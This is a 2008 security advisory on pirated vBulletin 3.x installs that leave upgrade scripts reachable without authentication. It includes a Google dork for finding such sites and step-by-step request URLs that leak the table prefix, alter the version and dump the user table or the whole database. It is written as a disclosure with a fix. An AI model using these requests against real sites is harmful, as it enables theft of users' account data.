Author: Janek Vind "waraxe"
Date: 06. October 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-67.html
Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
vBulletin 3.x pirated ("nulled") versions can be found in use in many websites.
Example GoogleDork: "Nulled by NiGHTNiNG"
Vulnerabilities discovered
===============================================================================
vBulletin official installation guide states:
"You should delete the install.php and upgrade*.php files now as a security precaution."
Still, there are lot's of vBulletin-based websites with accessible update scripts.
Let's try this:
http://********.com/install/upgrade_300.php
"Please Enter Your Customer Number" --> no easy way in, seems safe :)
Now - what about "nulled" (pirated) vBulletin installations? It's amazingly huge
community of nulled vBulletin users on Internet. Nulling - it means, that licence
validation is crippled and usually customer number checking is completely removed!
So anyone can access upgrade scripts without any authentication! This is possible,
if upgrade files are not deleted and there is no additional access limiting methods
implemented (like ".htaccess").
Let's find some pirated vBulletin installation and try this same request:
http://********.com/install/upgrade_300.php
-----------------------------------------------------------------------------
Your vBulletin version does not appear to match with the version for which this
script was created (version 3.0.0 Release Candidate 4).
Please ensure that you are attempting to run the correct script.
If you are sure this is the script you would like to run, click here.
-----------------------------------------------------------------------------
Oops ... what now? Let's try this:
http://********.com/install/upgrade_300.php?step=1
-----------------------------------------------------------------------------
Step 1) Fix Some Table Errors (Step 1 of 2)
Database error in vBulletin 3.0.0:
Invalid SQL:
ALTER TABLE vb_user ADD birthday_search DATE NOT NULL DEFAULT '0000-00-00';
MySQL Error : Duplicate column name 'birthday_search'
-----------------------------------------------------------------------------
Cool, now we know table prexix! What next?
http://********.com/install/upgrade_300.php?step=2
-----------------------------------------------------------------------------
Step 2) Upgrade to vBulletin 3.0.0 Complete!
* Updating Version Number to 3.0.0... done
-----------------------------------------------------------------------------
And finally - how about users table dump? Try this:
http://********.com/install/upgrade_301.php?step=backup&do=sqltable&table=vb_user
Or maybe full database dump? Why not, here it is:
http://********.com/install/upgrade_301.php?step=backup&do=sqltable
-----------------------------------------------------------------------------
Opening vb_user.sql --> download prompt
-----------------------------------------------------------------------------
Mission complete! Pirates pwned :)
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Buy legal vBulletin licence. Or at least delete install directory.
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, koko, str0ke
and anyone else who know me! Greetings to Raido Kerna.
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@yahoo.com
Janek Vind "waraxe"
Homepage: http://www.janekvind.com/
Waraxe forum: http://www.waraxe.us/forums.html
---------------------------------- [ EOF ] ---------------------------------
Copyright © by Waraxe IT Security Portal All Right Reserved.
Published on: 2008-10-06 (14931 reads)
[ Go Back ]